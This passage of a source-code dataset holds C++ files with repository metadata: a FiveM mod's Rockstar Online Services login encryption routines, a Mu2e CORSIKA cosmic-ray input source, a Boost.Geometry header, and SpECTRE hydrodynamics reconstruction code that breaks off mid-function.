yLL6zGQKttV7vhu5YYzOuF2sPPbWKsi8BbglSiZlPeQD5XcJ2atftEclnCokATd6ItatvpO9p7CcG8Qag9/GzdR5JzCyuW0U/y2wPzEtgjrHNz0MFkLRfyIBuvH75OS0f00iWyySt/NdmSJiUWClouo8S+sM9c11o7qOnhZ81miUkEYnW4Xu5jBZFeYsTle2z2Qk5p5VrIWh9Kz7DJJWBzypdlyTLZR2tq7bVHWH4SZNN6ho04UMDEtXNxTRWLjPNWoDFTvXSdoetZ1yBWe5l4jCDlIOc2uA8ePfys2bSIB3Q8IGn1eTyA+U3ekgj0djK/1abHnuejQjAnXySr+iAWLod8o//RZh7oxf3ptMeim9um/Ox36F/hGTbmwIGgrxVaL8rjdjJAVcAa1yBhCqVGqFnkdtsysIkowKf007ZpsTxopYO+/I4Xt0r4gG612QMdhJJVfVAC8fyfHpWZ0lyPKO8Pu734eRRPZjMXlrcfDzwq8PSKCQFljBiSmiBLgUks2hNBaQU5wfbffsifMK5xDj+1TYtrEdbm56POLCzd3roRq9ye9ywasU5YKbBiwIxTnEKgaUJAisCjs7nMy8AMgZdsyvaIUI/bdwI0+GbY8OjiZ8WmxeKAqikPUQyEcOB1AMX8Vps94Ha0gIhVfRCBzlBAL64dlU3aZveIFcrsfVUV1vQcSQhmcQGugsaCAo/qcNJ1WKSTXe5EOvOb9cb2uYwSj0wymNlGi7h6+FmzacEHrTTFmIIym4KIC/xsyiPreTZ1WUw9Bbbshwhgtw/lQGfid2xXiynalM+Gefuz1l7e1picayoNVl4A0AEIC4AONKy8mKdB2bRHTJeemmvxE7wcMGIB0AEIC4AOQFgAdADCAqADFyOs+9vlHX2+j9DzfstLIayiuLkzVxKA03IRwnq8uxkOt/cpN3NOYZXuzO+lh8090MmrtJ/BqRmG/wPnCzf7k+to7AAAAABJRU5ErkJggg==\");\r\n\t\t\t\t}\r\n\r\n\t\t\t\tprofileImpl->SetDisplayName(nickname);\r\n\r\n\t\t\t\t// save the parameter list to the profile\r\n\t\t\t\tstd::map<std::string, std::string> storeParameters(parameters);\r\n\r\n\t\t\t\tif (storeParameters.find(\"_savePassword\") == storeParameters.end() || storeParameters[\"_savePassword\"] == \"false\")\r\n\t\t\t\t{\r\n\t\t\t\t\tstoreParameters.erase(\"password\");\r\n\t\t\t\t}\r\n\r\n\t\t\t\tprofileImpl->SetParameters(storeParameters);\r\n\r\n\t\t\t\tresultEvent.set(ProfileIdentityResult(terminal::TokenType::ROS, va(\"%s&&%lld&&gta5&&%s&&%s\", ticket.c_str(), rockstarId, sessionKey.c_str(), sessionTicket.c_str())));\r\n\t\t\t}\r\n\t\t}\r\n\t});\r\n\r\n\treturn concurrency::task<ProfileIdentityResult>(resultEvent);\r\n}\r\n\r\nstd::string ROSIdentityProvider::EncryptROSData(const std::string& input)\r\n{\r\n\t// initialize state\r\n\tROSCryptoState state;\r\n\tstd::stringstream output;\r\n\r\n\t// get a random RC4 key\r\n\tuint8_t rc4Key[16];\r\n\r\n\tBotan::AutoSeeded_RNG rng;\r\n\trng.randomize(rc4Key, sizeof(rc4Key));\r\n\r\n\t// XOR the key with the global XOR key and write it to the output\r\n\tfor (int i = 0; i < sizeof(rc4Key); i++)\r\n\t{\r\n\t\tchar thisChar = rc4Key[i] ^ state.GetXorKey()[i];\r\n\r\n\t\toutput << std::string(&thisChar, 1);\r\n\t}\r\n\r\n\t// create a RC4 cipher for the data\r\n\tBotan::StreamCipher* rc4 = Botan::get_stream_cipher(\"RC4\")->clone();\r\n\trc4->set_key(rc4Key, sizeof(rc4Key));\r\n\r\n\t// encrypt the passed user data using the key\r\n\tstd::vector<uint8_t> inData(input.size());\r\n\tmemcpy(&inData[0], input.c_str(), inData.size());\r\n\r\n\trc4->encipher(inData);\r\n\r\n\t// write the inData to the output stream\r\n\toutput << std::string(reinterpret_cast<const char*>(&inData[0]), inData.size());\r\n\r\n\t// get a hash for the stream's content so far\r\n\tstd::string tempContent = output.str();\r\n\r\n\tBotan::HashFunction* sha1 = Botan::get_hash(\"SHA1\")->clone();\r\n\tsha1->update(reinterpret_cast<const uint8_t*>(tempContent.c_str()), tempContent.size());\r\n\tsha1->update(state.GetHashKey(), 16);\r\n\r\n\tauto hashData = sha1->final();\r\n\r\n\t// free the algorithms\r\n\tdelete rc4;\r\n\tdelete sha1;\r\n\t\r\n\t// and return the appended output\r\n\treturn tempContent + std::string(reinterpret_cast<const char*>(&hashData[0]), hashData.size());\r\n}\r\n\r\nstd::string ROSIdentityProvider::DecryptROSData(const char* data, size_t size)\r\n{\r\n\t// initialize state\r\n\tROSCryptoState state;\r\n\r\n\t// read the packet RC4 key from the packet\r\n\tuint8_t rc4Key[16];\r\n\r\n\tfor (int i = 0; i < sizeof(rc4Key); i++)\r\n\t{\r\n\t\trc4Key[i] = data[i] ^ state.GetXorKey()[i];\r\n\t}\r\n\r\n\t// initialize RC4 with the packet key\r\n\tBotan::StreamCipher* rc4 = Botan::get_stream_cipher(\"RC4\")->clone();\r\n\trc4->set_key(rc4Key, sizeof(rc4Key));\r\n\r\n\t// read the block size from the data\r\n\tuint8_t blockSizeData[4];\r\n\tuint8_t blockSizeDataLE[4];\r\n\trc4->cipher(reinterpret_cast<const uint8_t*>(&data[16]), blockSizeData, 4);\r\n\r\n\t// swap endianness\r\n\tblockSizeDataLE[3] = blockSizeData[0];\r\n\tblockSizeDataLE[2] = blockSizeData[1];\r\n\tblockSizeDataLE[1] = blockSizeData[2];\r\n\tblockSizeDataLE[0] = blockSizeData[3];\r\n\r\n\tuint32_t blockSize = (*(uint32_t*)&blockSizeDataLE) + 20;\r\n\r\n\t// create a buffer for the block\r\n\tstd::vector<uint8_t> blockData(blockSize);\r\n\r\n\t// a result stringstream as well\r\n\tstd::stringstream result;\r\n\r\n\t// loop through packet blocks\r\n\tint start = 20;\r\n\r\n\twhile (start < size)\r\n\t{\r\n\t\t// calculate the end of this block\r\n\t\tint end = min(size, start + blockSize);\r\n\r\n\t\t// remove the size of the SHA1 hash from the end\r\n\t\tend -= 20;\r\n\t\t\r\n\t\tint thisLen = end - start;\r\n\r\n\t\t// decrypt the block\r\n\t\trc4->cipher(reinterpret_cast<const uint8_t*>(&data[start]), &blockData[0], thisLen);\r\n\r\n\t\t// TODO: compare the resulting hash\r\n\r\n\t\t// append to the result buffer\r\n\t\tresult << std::string(reinterpret_cast<const char*>(&blockData[0]), thisLen);\r\n\r\n\t\t// increment the counter\r\n\t\tstart += blockSize;\r\n\t}\r\n\r\n\tdelete rc4;\r\n\r\n\treturn result.str();\r\n}\r\n\r\nROSCryptoState::ROSCryptoState()\r\n{\r\n\t// initialize the key inputs\r\n\tsize_t outLength;\r\n\tuint8_t* platformStr = base64_decode(ROS_PLATFORM_KEY, strlen(ROS_PLATFORM_KEY), &outLength);\r\n\r\n\tmemcpy(m_rc4Key, &platformStr[1], sizeof(m_rc4Key));\r\n\tmemcpy(m_xorKey, &platformStr[33], sizeof(m_xorKey));\r\n\tmemcpy(m_hashKey, &platformStr[49], sizeof(m_hashKey));\r\n\r\n\tfree(platformStr);\r\n\r\n\t// create the RC4 cipher and decode the keys\r\n\tm_rc4 = Botan::get_stream_cipher(\"RC4\")->clone();\r\n\r\n\t// set the key\r\n\tm_rc4->set_key(m_rc4Key, sizeof(m_rc4Key));\r\n\t\r\n\t// decode the xor key\r\n\tm_rc4->cipher1(m_xorKey, sizeof(m_xorKey));\r\n\r\n\t// reset the key\r\n\tm_rc4->set_key(m_rc4Key, sizeof(m_rc4Key));\r\n\r\n\t// decode the hash key\r\n\tm_rc4->cipher1(m_hashKey, sizeof(m_hashKey));\r\n\r\n\t// and we're done\r\n\tdelete m_rc4;\r\n}\r\n\r\nstatic InitFunction initFunction([] ()\r\n{\r\n\tProfileManagerImpl* ourProfileManager = static_cast<ProfileManagerImpl*>(Instance<ProfileManager>::Get());\r\n\r\n\tourProfileManager->AddIdentityProvider(new ROSIdentityProvider());\r\n});", "meta": {"hexsha": "bfe731763b1870e3c6dc73ca84b7a6605cae4c92", "size": 15690, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "components/profiles/src/IdentityProviderROS.cpp", "max_stars_repo_name": "adamixik/citizenmp", "max_stars_repo_head_hexsha": "414b5514d17f9d6643aec7595ff8d7eb18b81544", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 5.0, "max_stars_repo_stars_event_min_datetime": "2017-07-19T16:42:12.000Z", "max_stars_repo_stars_event_max_datetime": "2021-01-19T22:46:43.000Z", "max_issues_repo_path": "components/profiles/src/IdentityProviderROS.cpp", "max_issues_repo_name": "Zuiron/FiveM", "max_issues_repo_head_hexsha": "2e38beaf76d21a07be3bad6f4f00b68642e47edc", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "components/profiles/src/IdentityProviderROS.cpp", "max_forks_repo_name": "Zuiron/FiveM", "max_forks_repo_head_hexsha": "2e38beaf76d21a07be3bad6f4f00b68642e47edc", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 6.0, "max_forks_repo_forks_event_min_datetime": "2017-01-24T22:11:17.000Z", "max_forks_repo_forks_event_max_datetime": "2020-07-07T19:53:18.000Z", "avg_line_length": 44.7008547009, "max_line_length": 5592, "alphanum_fraction": 0.7871255577, "num_tokens": 6620, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5312093733737563, "lm_q2_score": 0.24798742068237775, "lm_q1q2_score": 0.13173324234526}}
{"text": "// Transfer into framework CORSIKA binary files\n//\n// Original author: Stefano Roberto Soleti, 2019\n\n#include <iostream>\n#include <fstream>\n#include <boost/utility.hpp>\n#include <cassert>\n#include <set>\n#include <string>\n#include <regex>\n\n#include \"CLHEP/Vector/LorentzVector.h\"\n#include \"CLHEP/Vector/ThreeVector.h\"\n#include \"CLHEP/Units/SystemOfUnits.h\"\n\n#include \"art/Framework/IO/Sources/Source.h\"\n#include \"art/Framework/Core/InputSourceMacros.h\"\n#include \"art/Framework/IO/Sources/SourceHelper.h\"\n#include \"art/Framework/Principal/RunPrincipal.h\"\n#include \"art/Framework/Principal/SubRunPrincipal.h\"\n#include \"art/Framework/Principal/EventPrincipal.h\"\n#include \"art/Framework/IO/Sources/put_product_in_principal.h\"\n#include \"art/Utilities/Globals.h\" // FIXME-KJK: should not be necessary to use this\n#include \"canvas/Persistency/Provenance/Timestamp.h\"\n#include \"canvas/Persistency/Provenance/RunID.h\"\n#include \"canvas/Persistency/Provenance/SubRunID.h\"\n#include \"canvas/Persistency/Provenance/EventID.h\"\n#include \"canvas/Persistency/Provenance/BranchType.h\"\n#include \"canvas/Persistency/Provenance/ProductID.h\"\n#include \"canvas/Persistency/Provenance/canonicalProductName.h\"\n#include \"art/Framework/Core/ModuleMacros.h\"\n#include \"art/Framework/Principal/Event.h\"\n#include \"art/Framework/Services/Registry/ServiceHandle.h\"\n#include \"MCDataProducts/inc/GenParticle.hh\"\n#include \"MCDataProducts/inc/GenParticleCollection.hh\"\n#include \"MCDataProducts/inc/CosmicLivetime.hh\"\n\n#include \"Sources/inc/CosmicCORSIKA.hh\"\n#include \"SeedService/inc/SeedService.hh\"\n\nusing CLHEP::Hep3Vector;\nusing CLHEP::HepLorentzVector;\n\nusing namespace std;\n\nnamespace mu2e {\n\n    //================================================================\n    class CorsikaBinaryDetail : private boost::noncopyable {\n      std::string myModuleLabel_;\n      art::SourceHelper const& pm_;\n      unsigned runNumber_; // from ParSet\n      art::SubRunID lastSubRunID_;\n      std::set<art::SubRunID> seenSRIDs_;\n\n      std::string currentFileName_;\n      FILE *currentFile_ = nullptr;\n      float garbage;\n\n      unsigned currentSubRunNumber_; // from file\n      // A helper function used to manage the principals.\n      // This is boilerplate that does not change if you change the data products.\n      void managePrincipals ( int runNumber,\n                              int subRunNumber,\n                              int eventNumber,\n                              art::RunPrincipal*&    outR,\n                              art::SubRunPrincipal*& outSR,\n                              art::EventPrincipal*&  outE);\n      unsigned getSubRunNumber(const std::string& filename) const;\n\n      unsigned currentEventNumber_;\n\n      art::ProductID particlesPID_;\n\n      float _area;  // m2\n      float _lowE;  // GeV\n      float _highE; // GeV\n      float _fluxConstant;\n\n      const float _mm22m2 = CLHEP::mm2 / CLHEP::m2;\n\n    public:\n      CorsikaBinaryDetail(const Parameters &conf,\n                          art::ProductRegistryHelper &,\n                          const art::SourceHelper &);\n\n      void readFile(std::string const& filename, art::FileBlock*& fb);\n\n      bool readNext(art::RunPrincipal* const& inR,\n                    art::SubRunPrincipal* const& inSR,\n                    art::RunPrincipal*& outR,\n                    art::SubRunPrincipal*& outSR,\n                    art::EventPrincipal*& outE);\n\n      void closeCurrentFile();\n\n      CosmicCORSIKA _corsikaGen;\n\n    };\n\n    //----------------------------------------------------------------\n    CorsikaBinaryDetail::CorsikaBinaryDetail(const Parameters& conf,\n                                             art::ProductRegistryHelper& rh,\n                                             const art::SourceHelper& pm)\n      : myModuleLabel_(\"FromCorsikaBinary\")\n      , pm_(pm)\n      , runNumber_(conf().runNumber())\n      , currentSubRunNumber_(-1U)\n      , currentEventNumber_(0)\n      , _lowE(conf().lowE())\n      , _highE(conf().highE())\n      , _fluxConstant(conf().fluxConstant())\n      , _corsikaGen(conf(), art::ServiceHandle<SeedService>{}->getInputSourceSeed())\n    {\n      if(!art::RunID(runNumber_).isValid()) {\n        throw cet::exception(\"BADCONFIG\", \" FromCorsikaBinary: \")\n          << \" fhicl::ParameterSet specifies an invalid runNumber = \"<<runNumber_<<\"\\n\";\n      }\n\n      rh.reconstitutes<mu2e::GenParticleCollection,art::InEvent>(myModuleLabel_);\n      rh.reconstitutes<mu2e::CosmicLivetime,art::InEvent>(myModuleLabel_);\n      _area = (conf().targetBoxXmax() + 2 * conf().showerAreaExtension() - conf().targetBoxXmin())\n            * (conf().targetBoxZmax() + 2 * conf().showerAreaExtension() - conf().targetBoxZmin()) * _mm22m2; // m^2\n    }\n\n    //----------------------------------------------------------------\n    void CorsikaBinaryDetail::readFile(const std::string& filename, art::FileBlock*& fb) {\n\n      currentFileName_ = filename;\n      currentSubRunNumber_ = getSubRunNumber(filename);\n      currentEventNumber_ = 0;\n\n      currentFile_ = fopen(filename.c_str(), \"r\");\n      _corsikaGen.openFile(currentFile_);\n      fb = new art::FileBlock(art::FileFormatVersion(1, \"CorsikaBinaryInput\"), currentFileName_);\n    }\n\n    //----------------------------------------------------------------\n    unsigned CorsikaBinaryDetail::getSubRunNumber(const std::string& filename) const {\n      std::regex re_corsika(\"^(.*/)?DAT([0-9]+)$\");\n      std::regex re_mu2e(\"^(.*/)?sim\\\\.\\\\w+\\\\.[\\\\w-]+\\\\.[\\\\w-]+\\\\.([0-9]+)\\\\.csk$\");\n\n      unsigned sr(-1);\n\n      std::smatch match;\n      if(std::regex_search(filename, match, re_corsika)) {\n        // [0]: the whole string\n        // [1]: dirname or emtpy\n        // [2]: the run number string\n        sr = std::stoi(match.str(2));\n      }\n      else if(std::regex_search(filename, match, re_mu2e)) {\n        // [0]: the whole string\n        // [1]: dirname or emtpy\n        // [2]: the run number string\n        sr = std::stoi(match.str(2));\n      }\n      else {\n        throw cet::exception(\"BADINPUT\", \" FromCorsikaBinary: \")\n          << \" Can not parse filename to extract subrun number:  \"<<filename<<\"\\n\";\n      }\n\n      return sr;\n    }\n\n    //----------------------------------------------------------------\n    void CorsikaBinaryDetail::closeCurrentFile() {\n      currentFileName_ = \"\";\n      fclose(currentFile_);\n    }\n\n    //----------------------------------------------------------------\n    bool CorsikaBinaryDetail::readNext(art::RunPrincipal* const& inR,\n                                       art::SubRunPrincipal* const& inSR,\n                                       art::RunPrincipal*& outR,\n                                       art::SubRunPrincipal*& outSR,\n                                       art::EventPrincipal*& outE)\n    {\n      std::unique_ptr<GenParticleCollection> particles(new GenParticleCollection());\n      unsigned int primaries;\n      bool still_data = _corsikaGen.generate(*particles, primaries);\n      if (!still_data) {\n        return false;\n      }\n\n      managePrincipals(runNumber_, currentSubRunNumber_, ++currentEventNumber_, outR, outSR, outE);\n      art::put_product_in_principal(std::move(particles), *outE, myModuleLabel_);\n      std::unique_ptr<CosmicLivetime> livetime(new CosmicLivetime(primaries, _area, _lowE, _highE, _fluxConstant));\n      art::put_product_in_principal(std::move(livetime), *outE, myModuleLabel_);\n      return true;\n\n    } // readNext()\n\n\n  // Each time that we encounter a new run, a new subRun or a new event, we need to make a new principal\n  // of the appropriate type.  This code does not need to change as the number and type of data products changes.\n  void CorsikaBinaryDetail::managePrincipals ( int runNumber,\n                                          int subRunNumber,\n                                          int eventNumber,\n                                          art::RunPrincipal*&    outR,\n                                          art::SubRunPrincipal*& outSR,\n                                          art::EventPrincipal*&  outE){\n\n    art::Timestamp ts;\n\n    art::SubRunID newID(runNumber, subRunNumber);\n\n    if(newID != lastSubRunID_) {\n      // art takes ownership of the object pointed to by outSR and will delete it at the appropriate time.\n      outR = pm_.makeRunPrincipal(runNumber, ts);\n      outSR = pm_.makeSubRunPrincipal(runNumber,\n                                      subRunNumber,\n                                      ts);\n\n    }\n    lastSubRunID_ = newID;\n\n    // art takes ownership of the object pointed to by outE and will delete it at the appropriate time.\n    outE = pm_.makeEventPrincipal(runNumber, subRunNumber, eventNumber, ts, false);\n\n  } // managePrincipals()\n    //----------------------------------------------------------------\n\n} // namespace mu2e\n\ntypedef art::Source<mu2e::CorsikaBinaryDetail> FromCorsikaBinary;\nDEFINE_ART_INPUT_SOURCE(FromCorsikaBinary);\n", "meta": {"hexsha": "d5070404d3d02a8f5d6d77ee49311f74e4198865", "size": 8890, "ext": "cc", "lang": "C++", "max_stars_repo_path": "Sources/src/FromCorsikaBinary_source.cc", "max_stars_repo_name": "mhedges/Offline", "max_stars_repo_head_hexsha": "97ae56c5ba3686202684b01c2c5f60984aa195ba", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Sources/src/FromCorsikaBinary_source.cc", "max_issues_repo_name": "mhedges/Offline", "max_issues_repo_head_hexsha": "97ae56c5ba3686202684b01c2c5f60984aa195ba", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Sources/src/FromCorsikaBinary_source.cc", "max_forks_repo_name": "mhedges/Offline", "max_forks_repo_head_hexsha": "97ae56c5ba3686202684b01c2c5f60984aa195ba", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.8209606987, "max_line_length": 116, "alphanum_fraction": 0.5933633296, "num_tokens": 2061, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5117166047041652, "lm_q2_score": 0.256831980010821, "lm_q1q2_score": 0.13142518879058537}}
{"text": "// Boost.Geometry\n\n// Copyright (c) 2021-2022, Oracle and/or its affiliates.\n\n// Contributed and/or modified by Adam Wulkiewicz, on behalf of Oracle\n\n// Licensed under the Boost Software License version 1.0.\n// http://www.boost.org/users/license.html\n\n#ifndef BOOST_GEOMETRY_STRATEGIES_BUFFER_SPHERICAL_HPP\n#define BOOST_GEOMETRY_STRATEGIES_BUFFER_SPHERICAL_HPP\n\n\n#include <boost/geometry/strategies/buffer/services.hpp>\n#include <boost/geometry/strategies/distance/spherical.hpp>\n\n\nnamespace boost { namespace geometry\n{\n\nnamespace strategies { namespace buffer\n{\n\ntemplate\n<\n    typename RadiusTypeOrSphere = double,\n    typename CalculationType = void\n>\nclass spherical\n    : public strategies::distance::detail::spherical<RadiusTypeOrSphere, CalculationType>\n{\n    using base_t = strategies::distance::detail::spherical<RadiusTypeOrSphere, CalculationType>;\n\npublic:\n    spherical() = default;\n\n    template <typename RadiusOrSphere>\n    explicit spherical(RadiusOrSphere const& radius_or_sphere)\n        : base_t(radius_or_sphere)\n    {}\n};\n\n\nnamespace services\n{\n\ntemplate <typename Geometry>\nstruct default_strategy<Geometry, spherical_equatorial_tag>\n{\n    using type = strategies::buffer::spherical<>;\n};\n\n\n} // namespace services\n\n}} // namespace strategies::buffer\n\n}} // namespace boost::geometry\n\n#endif // BOOST_GEOMETRY_STRATEGIES_BUFFER_SPHERICAL_HPP\n", "meta": {"hexsha": "c959ec8747f3ec41a927100e37576b8e98d5c0a3", "size": 1367, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "AqooleEngine/src/main/cpp/boost/boost/geometry/strategies/buffer/spherical.hpp", "max_stars_repo_name": "kodai731/Aqoole-Engine-Android-Vulkan-Rendering-Engine-", "max_stars_repo_head_hexsha": "72c8f34b6b6d507319069e681ff8c5008337b7c6", "max_stars_repo_licenses": ["Apache-2.0", "MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "AqooleEngine/src/main/cpp/boost/boost/geometry/strategies/buffer/spherical.hpp", "max_issues_repo_name": "kodai731/Aqoole-Engine-Android-Vulkan-Rendering-Engine-", "max_issues_repo_head_hexsha": "72c8f34b6b6d507319069e681ff8c5008337b7c6", "max_issues_repo_licenses": ["Apache-2.0", "MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "AqooleEngine/src/main/cpp/boost/boost/geometry/strategies/buffer/spherical.hpp", "max_forks_repo_name": "kodai731/Aqoole-Engine-Android-Vulkan-Rendering-Engine-", "max_forks_repo_head_hexsha": "72c8f34b6b6d507319069e681ff8c5008337b7c6", "max_forks_repo_licenses": ["Apache-2.0", "MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 22.4098360656, "max_line_length": 96, "alphanum_fraction": 0.7702999268, "num_tokens": 303, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5350984286266116, "lm_q2_score": 0.24508500761839527, "lm_q1q2_score": 0.13114460245654444}}
{"text": "// Distributed under the MIT License.\n// See LICENSE.txt for details.\n\n#pragma once\n\n#include <algorithm>\n#include <array>\n#include <boost/functional/hash.hpp>\n#include <cstddef>\n#include <iterator>\n#include <type_traits>\n#include <utility>\n\n#include \"DataStructures/DataVector.hpp\"\n#include \"DataStructures/FixedHashMap.hpp\"\n#include \"DataStructures/Index.hpp\"\n#include \"DataStructures/Tensor/Tensor.hpp\"\n#include \"DataStructures/Variables.hpp\"\n#include \"Domain/Structure/Direction.hpp\"\n#include \"Domain/Structure/DirectionMap.hpp\"\n#include \"Domain/Structure/Element.hpp\"\n#include \"Domain/Structure/ElementId.hpp\"\n#include \"Domain/Structure/MaxNumberOfNeighbors.hpp\"\n#include \"Evolution/Systems/GeneralizedHarmonic/Tags.hpp\"\n#include \"Evolution/Systems/GrMhd/ValenciaDivClean/ConservativeFromPrimitive.hpp\"\n#include \"Evolution/Systems/GrMhd/ValenciaDivClean/FiniteDifference/ReconstructWork.tpp\"\n#include \"Evolution/Systems/GrMhd/ValenciaDivClean/Tags.hpp\"\n#include \"NumericalAlgorithms/Spectral/Mesh.hpp\"\n#include \"PointwiseFunctions/GeneralRelativity/Tags.hpp\"\n#include \"PointwiseFunctions/Hydro/EquationsOfState/EquationOfState.hpp\"\n#include \"PointwiseFunctions/Hydro/SpecificEnthalpy.hpp\"\n#include \"PointwiseFunctions/Hydro/Tags.hpp\"\n#include \"Utilities/ErrorHandling/Assert.hpp\"\n#include \"Utilities/Gsl.hpp\"\n#include \"Utilities/TMPL.hpp\"\n\nnamespace grmhd::GhValenciaDivClean::fd {\ntemplate <typename SpacetimeTagsToReconstruct, typename PrimsTags,\n          typename SpacetimeAndConsTags, typename TagsList,\n          size_t ThermodynamicDim, typename HydroReconstructor,\n          typename SpacetimeReconstructor,\n          typename ComputeGrmhdSpacetimeVarsFromReconstructedSpacetimeTags>\nvoid reconstruct_prims_work(\n    const gsl::not_null<std::array<Variables<TagsList>, 3>*> vars_on_lower_face,\n    const gsl::not_null<std::array<Variables<TagsList>, 3>*> vars_on_upper_face,\n    const HydroReconstructor& hydro_reconstructor,\n    const SpacetimeReconstructor& spacetime_reconstructor,\n    const ComputeGrmhdSpacetimeVarsFromReconstructedSpacetimeTags&\n        spacetime_vars_for_grmhd,\n    const Variables<PrimsTags>& volume_prims,\n    const Variables<SpacetimeAndConsTags>& volume_spacetime_and_cons_vars,\n    const EquationsOfState::EquationOfState<true, ThermodynamicDim>& eos,\n    const Element<3>& element,\n    const FixedHashMap<\n        maximum_number_of_neighbors(3) + 1,\n        std::pair<Direction<3>, ElementId<3>>, std::vector<double>,\n        boost::hash<std::pair<Direction<3>, ElementId<3>>>>& neighbor_data,\n    const Mesh<3>& subcell_mesh, size_t ghost_zone_size) {\n  using prim_tags_for_reconstruction =\n      tmpl::list<hydro::Tags::RestMassDensity<DataVector>,\n                 hydro::Tags::Pressure<DataVector>,\n                 hydro::Tags::LorentzFactorTimesSpatialVelocity<DataVector, 3>,\n                 hydro::Tags::MagneticField<DataVector, 3>,\n                 hydro::Tags::DivergenceCleaningField<DataVector>>;\n\n  ASSERT(Mesh<3>(subcell_mesh.extents(0), subcell_mesh.basis(0),\n                 subcell_mesh.quadrature(0)) == subcell_mesh,\n         \"The subcell mesh should be isotropic but got \" << subcell_mesh);\n  const size_t volume_num_pts = subcell_mesh.number_of_grid_points();\n  const size_t reconstructed_num_pts =\n      (subcell_mesh.extents(0) + 1) *\n      subcell_mesh.extents().slice_away(0).product();\n  const size_t neighbor_num_pts =\n      ghost_zone_size * subcell_mesh.extents().slice_away(0).product();\n  size_t vars_in_neighbor_count = 0;\n  tmpl::for_each<prim_tags_for_reconstruction>([&element, &neighbor_data,\n                                                neighbor_num_pts,\n                                                &hydro_reconstructor,\n                                                reconstructed_num_pts,\n                                                volume_num_pts, &volume_prims,\n                                                &vars_in_neighbor_count,\n                                                &vars_on_lower_face,\n                                                &vars_on_upper_face,\n                                                &subcell_mesh](auto tag_v) {\n    using tag = tmpl::type_from<decltype(tag_v)>;\n    const typename tag::type* volume_tensor_ptr = nullptr;\n    Variables<tmpl::list<\n        hydro::Tags::LorentzFactorTimesSpatialVelocity<DataVector, 3>>>\n        lorentz_factor_times_v_I{};\n    if constexpr (std::is_same_v<tag,\n                                 hydro::Tags::LorentzFactorTimesSpatialVelocity<\n                                     DataVector, 3>>) {\n      // we need to handle the Wv^i reconstruction separately since we need to\n      // first compute Wv^i in the volume (it's not one of our primitives from\n      // the recovery). The components need to be stored contiguously, which is\n      // why we have the Variables `lorentz_factor_times_v_I`\n      const auto& spatial_velocity =\n          get<hydro::Tags::SpatialVelocity<DataVector, 3>>(volume_prims);\n      const auto& lorentz_factor =\n          get<hydro::Tags::LorentzFactor<DataVector>>(volume_prims);\n      lorentz_factor_times_v_I.initialize(get(lorentz_factor).size());\n      auto& volume_tensor =\n          get<hydro::Tags::LorentzFactorTimesSpatialVelocity<DataVector, 3>>(\n              lorentz_factor_times_v_I) = spatial_velocity;\n      for (size_t i = 0; i < 3; ++i) {\n        volume_tensor.get(i) *= get(lorentz_factor);\n      }\n      volume_tensor_ptr = &volume_tensor;\n    } else {\n      volume_tensor_ptr = &get<tag>(volume_prims);\n    }\n\n    const size_t number_of_variables = volume_tensor_ptr->size();\n    const gsl::span<const double> volume_vars = gsl::make_span(\n        (*volume_tensor_ptr)[0].data(), number_of_variables * volume_num_pts);\n    std::array<gsl::span<double>, 3> upper_face_vars{};\n    std::array<gsl::span<double>, 3> lower_face_vars{};\n    for (size_t i = 0; i < 3; ++i) {\n      gsl::at(upper_face_vars, i) =\n          gsl::make_span(get<tag>(gsl::at(*vars_on_upper_face, i))[0].data(),\n                         number_of_variables * reconstructed_num_pts);\n      gsl::at(lower_face_vars, i) =\n          gsl::make_span(get<tag>(gsl::at(*vars_on_lower_face, i))[0].data(),\n                         number_of_variables * reconstructed_num_pts);\n    }\n\n    DirectionMap<3, gsl::span<const double>> ghost_cell_vars{};\n    for (const auto& direction : Direction<3>::all_directions()) {\n      const auto& neighbors_in_direction = element.neighbors().at(direction);\n      ASSERT(neighbors_in_direction.size() == 1,\n             \"Currently only support one neighbor in each direction, but \"\n             \"got \"\n                 << neighbors_in_direction.size() << \" in direction \"\n                 << direction);\n      ghost_cell_vars[direction] = gsl::make_span(\n          &neighbor_data.at(std::pair{\n              direction,\n              *neighbors_in_direction\n                   .begin()})[vars_in_neighbor_count * neighbor_num_pts],\n          number_of_variables * neighbor_num_pts);\n    }\n\n    hydro_reconstructor(make_not_null(&upper_face_vars),\n                        make_not_null(&lower_face_vars), volume_vars,\n                        ghost_cell_vars, subcell_mesh.extents(),\n                        number_of_variables);\n\n    vars_in_neighbor_count += number_of_variables;\n  });\n  tmpl::for_each<SpacetimeTagsToReconstruct>(\n      [&element, &neighbor_data, neighbor_num_pts, &spacetime_reconstructor,\n       reconstructed_num_pts, volume_num_pts, &volume_spacetime_and_cons_vars,\n       &vars_in_neighbor_count, &vars_on_lower_face, &vars_on_upper_face,\n       &subcell_mesh](auto tag_v) {\n        using tag = tmpl::type_from<decltype(tag_v)>;\n        const typename tag::type& volume_tensor =\n            get<tag>(volume_spacetime_and_cons_vars);\n\n        const size_t number_of_variables = volume_tensor.size();\n        const gsl::span<const double> volume_vars = gsl::make_span(\n            (volume_tensor)[0].data(), number_of_variables * volume_num_pts);\n        std::array<gsl::span<double>, 3> upper_face_vars{};\n        std::array<gsl::span<double>, 3> lower_face_vars{};\n        for (size_t i = 0; i < 3; 